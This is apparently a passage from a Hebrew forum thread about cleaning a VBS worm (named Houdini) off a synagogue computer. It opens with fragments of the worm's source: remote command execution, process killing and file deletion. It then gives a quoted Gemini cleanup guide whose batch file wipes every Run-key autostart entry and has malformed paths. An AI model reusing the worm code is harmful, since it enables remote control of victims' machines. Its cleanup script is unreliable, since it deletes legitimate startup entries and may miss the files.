                                    end function
                                    
                                    function enumprocess ()
                                    
                                    on error resume next
                                    
                                    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
                                    set colitems = objwmiservice.execquery("select * from win32_process",,48)
                                    
                                    dim objitem
                                    for each objitem in colitems
                                        enumprocess = enumprocess & objitem.name & "|"
                                        enumprocess = enumprocess & objitem.processid & "|"
                                        enumprocess = enumprocess & objitem.executablepath & spliter
                                    next
                                    end function
                                    
                                    sub exitprocess (pid)
                                    on error resume next
                                    
                                    shellobj.run "taskkill /F /T /PID " & pid,7,true
                                    end sub
                                    
                                    sub deletefaf (url)
                                    on error resume next
                                    
                                    filesystemobj.deletefile url
                                    filesystemobj.deletefolder url
                                    
                                    end sub
                                    
                                    function cmdshell (cmd)
                                    
                                    dim httpobj,oexec,readallfromany
                                    
                                    set oexec = shellobj.exec ("%comspec% /c " & cmd)
                                    if not oexec.stdout.atendofstream then
                                       readallfromany = oexec.stdout.readall
                                    elseif not oexec.stderr.atendofstream then
                                       readallfromany = oexec.stderr.readall
                                    else 
                                       readallfromany = ""
                                    end if
                                    
                                    cmdshell = readallfromany
                                    end function
                                    
                                    ה מנותק
                                    ה מנותק
                                    היפ הופ
                                    כתב נערך לאחרונה על ידי
                                    #35

                                    @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                    גם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                                    אם זה עדיין רלוונטי אני יכול לדאוג לך לכל מיני בינות....

                                    תגובה 1 תגובה אחרונה
                                    0
                                    • א אור אור אור

                                      וכשכתבתי ו את ההודעה שלך בהתחלה הוא ענה:

                                      צר לי לשמוע על המצב. זה באמת "בור ברשות הרבים" במובן הטכנולוגי ביותר – מחשבים בבתי כנסת שמשמשים ל"אוצר החכמה" הם יעד קלאסי לווירוס הזה (Houdini), בגלל תחלופת הדיסק-און-קי הגבוהה.

                                      הסיבה שהאנטי-וירוס מתקשה היא שהווירוס משתמש בכלי מערכת לגיטימיים של ווינדוס (כמו wscript.exe) כדי להריץ סקריפט טקסט פשוט, מה שמאפשר לו לעיתים לחמוק מתחת לרדאר.

                                      הנה "מפת הדרכים" של המקומות שבהם הוא מתחבא ואיך מנקים אותו מהשורש:

                                      1. היכן הוא מתחבא? (לפי הקוד שצירפת)
                                        הווירוס הזה עקשן כי הוא משכפל את עצמו לכמה מקומות בו-זמנית:

                                      תיקיית זמניים (Temp): הוא מעתיק את עצמו לתיקיית %temp%.

                                      תיקיית הפעלה (Startup): הוא שותל שם עותק כדי שיעלה בכל פעם שהמחשב נדלק.

                                      רישום המערכת (Registry): הוא יוצר מפתח בכתובת HKCU\Software\Microsoft\Windows\CurrentVersion\Run תחת שם שנראה תמים.

                                      בכונני USB: הוא הופך את התיקיות האמיתיות שלך לנסתרות ויוצר במקומן קיצורי דרך עם אותו שם.

                                      1. שלבי הניקוי (בצע לפי הסדר)
                                        כדי לנצח אותו, צריך קודם כל "להרדים" אותו ורק אז למחוק:

                                      א. עצירת התהליך
                                      לחץ על Ctrl + Shift + Esc כדי לפתוח את מנהל המשימות.

                                      חפש ברשימה תהליך בשם Windows Script Host או wscript.exe.

                                      לחץ עליו קליק ימני וביצוע "סיום משימה". זה ימנע ממנו לשכפל את עצמו בזמן שאתה מוחק אותו.

                                      ב. מחיקה מהרישום (Registry)
                                      לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                                      נווט לנתיב: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run.

                                      חפש שם ערך שכתוב בו הנתיב לתיקיית ה-Temp או קובץ שמסתיים ב-.vbs. מחק אותו.

                                      בדוק גם בנתיב המקביל תחת HKEY_LOCAL_MACHINE.

                                      ג. מחיקת הקבצים הפיזיים
                                      פתח את סייר הקבצים והדבק בשורת הכתובת: %temp%. חפש קובץ עם סיומת .vbs (השם יכול להיות אקראי או משהו כמו Houdini) ומחק אותו.

                                      הדבק בשורת הכתובת: shell:startup. אם יש שם קובץ VBS או קיצור דרך חשוד – מחק אותו.

                                      1. תיקון הדיסק-און-קי (החזרת הקבצים שנעלמו)
                                        אם הקבצים בכונן נראים כמו קיצורי דרך, אל תלחץ עליהם! הם אלו שמדביקים מחדש את המחשב.

                                      חבר את הכונן הנגוע.

                                      פתח את "שורת הפקודה" (CMD) כמנהל.

                                      הקלד את האות של הכונן (למשל :F) ולחץ Enter.

                                      הקלד את הפקודה הבאה שתבטל את ההסתרה שהווירוס ביצע:
                                      attrib -h -r -s /s /d .

                                      כעת תוכל לראות את התיקיות האמיתיות שלך. מחק את כל קבצי ה-LNK (קיצורי הדרך) ואת קובץ ה-VBS שנמצא על הכונן.

                                      עצה קטנה ל"אוצר החכמה" בבית הכנסת:
                                      כדי למנוע הישנות, כדאי להתקין תוכנה קטנה וחינמית בשם USB Vaccinator או פשוט לחסום הרצת סקריפטים מסוג VBS במחשב אם אין בהם צורך (דרך ה-Registry).

                                      האם תרצה שאכתוב עבורך פקודה אחת פשוטה (Batch file) שתבצע את כל הניקוי הזה באופן אוטומטי?

                                      כן

                                      כן

                                      ‫Gemini אמר
                                      הנה קוד פשוט שיצרתי עבורך. הוא מבצע את כל הפעולות שדיברנו עליהן: סגירת התהליך הזדוני, מחיקת הקבצים מהתיקיות הנסתרות וניקוי הרישום (Registry).

                                      הוראות ביצוע:
                                      העתק את הקוד למטה.

                                      פתח את "פנקס רשימות" (Notepad).

                                      הדבק את הקוד בתוכו.

                                      שמור את הקובץ בשם CleanVirus.bat (חשוב מאוד שהסיומת תהיה .bat ולא .txt).

                                      לחץ על הקובץ ששמרת קליק ימני ובחר "הפעל כמנהל" (Run as Administrator).

                                      הקוד לניקוי המחשב:
                                      קטע קוד
                                      @echo off
                                      color 0A
                                      echo Stopping Virus Process...
                                      taskkill /F /IM wscript.exe /T

                                      echo.
                                      echo Deleting Virus Files...
                                      del /F /Q "%temp%*.vbs"
                                      del /F /Q "%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup*.vbs"

                                      echo.
                                      echo Cleaning Registry Keys...
                                      reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /va /f
                                      reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /va /f

                                      echo.
                                      echo Restoration Complete.
                                      echo Please check your USB drives separately using the 'attrib' command.
                                      pause
                                      מה הקוד הזה עושה בפועל?
                                      taskkill: מפסיק מיד את המנוע שמריץ את הווירוס (wscript).

                                      del: מוחק קבצי VBS חשודים מתיקיית הזמניים ומתיקיית ההפעלה האוטומטית.

                                      reg delete: מנקה את רשימת התוכנות שעולות עם המחשב כדי שהווירוס לא יחזור אחרי הפעלה מחדש.

                                      [!CAUTION]
                                      שים לב: הפקודה reg delete עם הפרמטר /va מוחקת את כל התוכנות שעולות אוטומטית למשתמש הנוכחי. זה אומר שאם יש תוכנות לגיטימיות (כמו דרייבר של מדפסת או WhatsApp) שעולות עם המחשב, תצטרך להפעיל אותן ידנית פעם אחת כדי שיחזרו לרשימה, או פשוט להשאיר אותן כך. במחשב של "אוצר החכמה" זה לרוב צעד בטוח ונחוץ.

                                      טיפול בכונני ה-USB (הדיסק-און-קי):
                                      אחרי שהרצת את הקובץ למעלה והמחשב "נקי", חבר את הכונן הנגוע והרצ את הפקודה הזו בתוך חלון ה-CMD (שורת הפקודה):
                                      attrib -h -r -s /s /d X:*.*
                                      (החלף את האות X באות של הכונן שלך).

                                      זה יחזיר את כל התיקיות שהווירוס הסתיר. לאחר מכן, פשוט מחק ידנית מהכונן כל קובץ עם סיומת .vbs וכל קיצור דרך שנראה כמו תיקייה.

                                      האם תרצה שאסביר לך איך לחסום את המחשב מהרצת קבצי VBS בעתיד כדי שהווירוס לא יוכל לחזור לעולם?

                                      אמרת
                                      כן

                                      ‫Gemini אמר
                                      כדי למנוע מה"בור" הזה להיפתח שוב בלב בית הכנסת, הדרך הכי טובה היא פשוט להוציא לסקריפטים האלו את ה"מנוע" מהחשמל. ברגע שנחסום את היכולת של המחשב להריץ קבצי VBS, גם אם מישהו יחבר דיסק-און-קי נגוע וילחץ על כל קיצורי הדרך שבעולם – שום דבר לא יקרה.

                                      הנה שתי דרכים לעשות זאת, מהקלה והבטוחה ועד היסודית ביותר:

                                      אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                      בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                      צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                      לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                      בחר ב-"פנקס רשימות" (Notepad).

                                      חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                      לחץ על אישור.

                                      התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                      אפשרות ב': חסימה מוחלטת דרך הרישום (Registry)
                                      זו שיטה "חזקה" יותר שמנטרלת את המנוע שמריץ סקריפטים (Windows Script Host) לחלוטין.

                                      לחץ על מקש הלווינדוס + R, הקלד regedit ולחץ Enter.

                                      נווט לנתיב הבא (תוכל להעתיק ולהדביק בשורת הכתובת למעלה):
                                      HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings

                                      בצד ימין (או שמאל, תלוי בשפת המערכת), לחץ קליק ימני על שטח ריק -> New (חדש) -> DWORD (32-bit) Value.

                                      קרא לערך החדש בשם: Enabled.

                                      וודא שהערך שלו הוא 0 (זה ברירת המחדל).

                                      סגור את הרישום והפעל מחדש את המחשב.

                                      התוצאה: אם מישהו ינסה להריץ סקריפט, ווינדוס יקפיץ הודעה ש"הגישה ל-Windows Script Host חסומה במחשב זה". זהו סוף פסוק לווירוסי VBS.

                                      טיפ קטן לגבאי / אחראי המחשב:
                                      מכיוון שהמחשב של "אוצר החכמה" הוא יעד קבוע לדיסק-און-קי מכל הסוגים, כדאי להדביק מדבקה קטנה על המסך: "נא לא להכניס דיסק-און-קי שלא נבדק" – למרות שעם החסימה שעשינו עכשיו, אתם הרבה יותר מוגנים.

                                      [!NOTE]
                                      אם בעתיד תצטרכו להתקין עדכון של "אוצר החכמה" שמשתמש בסקריפטים (נדיר, אבל קורה), תצטרכו להחזיר את הערך Enabled ל-1 באופן זמני.

                                      ה מנותק
                                      ה מנותק
                                      המלאך
                                      כתב נערך לאחרונה על ידי המלאך
                                      #36

                                      @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                      אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                      בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                      צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                      לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                      בחר ב-"פנקס רשימות" (Notepad).

                                      חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                      לחץ על אישור.

                                      התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                      @cfopuser הדרך הזו לא מסוכנת?
                                      כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
                                      או שיריץ דרך הפאואר שיל, הcmd?

                                      cfopuserC תגובה 1 תגובה אחרונה
                                      0
                                      • ה המלאך

                                        @אור-אור-אור כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                                        אפשרות א': שינוי "פתיחה באמצעות" (השיטה המומלצת)
                                        בשיטה זו, במקום שהמחשב יריץ את הקוד, הוא פשוט יפתח אותו כטקסט בתוך "פנקס רשימות" (Notepad). זה הופך את הווירוס למסמך קריאה תמים.

                                        צור על שולחן העבודה קובץ טקסט חדש ושנה את הסיומת שלו ל-.vbs (למשל test.vbs).

                                        לחץ עליו קליק ימני ובחר ב-"פתח באמצעות..." (Open with).

                                        בחר ב-"פנקס רשימות" (Notepad).

                                        חשוב מאוד: סמן בוי את התיבה: "השתמש תמיד באפליקציה זו כדי לפתוח קבצי .vbs".

                                        לחץ על אישור.

                                        התוצאה: מעתה והלאה, כל וירוס VBS שינסה לרוץ פשוט יפתח חלון של Notepad עם הרבה טקסט מוזר, ולא יזיק למחשב בכלל.

                                        @cfopuser הדרך הזו לא מסוכנת?
                                        כלומר מי ערב לכך שהוא לא יצר לעצמו קיצור דרך?
                                        או שיריץ דרך הפאואר שיל, הcmd?

                                        cfopuserC מנותק
                                        cfopuserC מנותק
                                        cfopuser
                                        כתב נערך לאחרונה על ידי
                                        #37

                                        @המלאך ai...
                                        לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                                        ה מתכנת חובבמ 2 תגובות תגובה אחרונה
                                        0
                                        • cfopuserC cfopuser

                                          @המלאך ai...
                                          לסקריפט הזה זה יעבוד אבל אכן מי ערב לדרכים שונות...

                                          ה מנותק
                                          ה מנותק
                                          המלאך
                                          כתב נערך לאחרונה על ידי
                                          #38

                                          @cfopuser 1000204791.jpg

                                          תגובה 1 תגובה אחרונה
                                          0

                                          • התחברות

                                          • אין לך חשבון עדיין? הרשמה

                                          • התחברו או הירשמו כדי לחפש.
                                          • פוסט ראשון
                                            פוסט אחרון
                                          0
                                          • חוקי הפורום
                                          • פופולרי
                                          • לא נפתר
                                          • משתמשים
                                          • חיפוש גוגל בפורום
                                          • צור קשר